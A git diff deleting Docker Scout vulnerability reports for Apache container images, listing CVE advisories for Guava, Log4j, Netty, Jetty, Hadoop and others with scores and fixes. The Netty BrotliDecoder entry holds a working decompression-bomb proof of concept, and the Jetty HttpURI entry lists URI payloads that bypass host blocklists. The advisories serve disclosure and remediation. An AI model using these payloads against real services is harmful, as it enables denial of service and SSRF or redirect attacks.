- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.023%
EPSS Percentile6th percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile19th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.96.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.034%
EPSS Percentile10th percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.661%
EPSS Percentile71st percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.196%
EPSS Percentile42nd percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
-low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference - - - - - - -
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
- -
Description -
- -### From the reporter - -> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. -> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit -> this vulnerability in order to achieve SSRF or cause a denial of service. -> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the -> WAR includes a malicious web.xml. - -### Impact -There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. - -Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. - -However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. - -### Patches -Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 - -### Workarounds -Don't use `XmlParser` to parse data from users. - - - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/zookeeper/sysds_output3.md b/docker/scout_results/zookeeper/sysds_output3.md deleted file mode 100644 index ed669dbc511..00000000000 --- a/docker/scout_results/zookeeper/sysds_output3.md +++ /dev/null @@ -1,3042 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:52786ec53134202cfc56c5ed764239b2356786f36241e57f3b1154538426c7e9
vulnerabilitiescritical: 3 high: 31 medium: 41 low: 10 unspecified: 1
platformlinux/amd64
size1.1 GB
packages353
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.418%
EPSS Percentile61st percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan 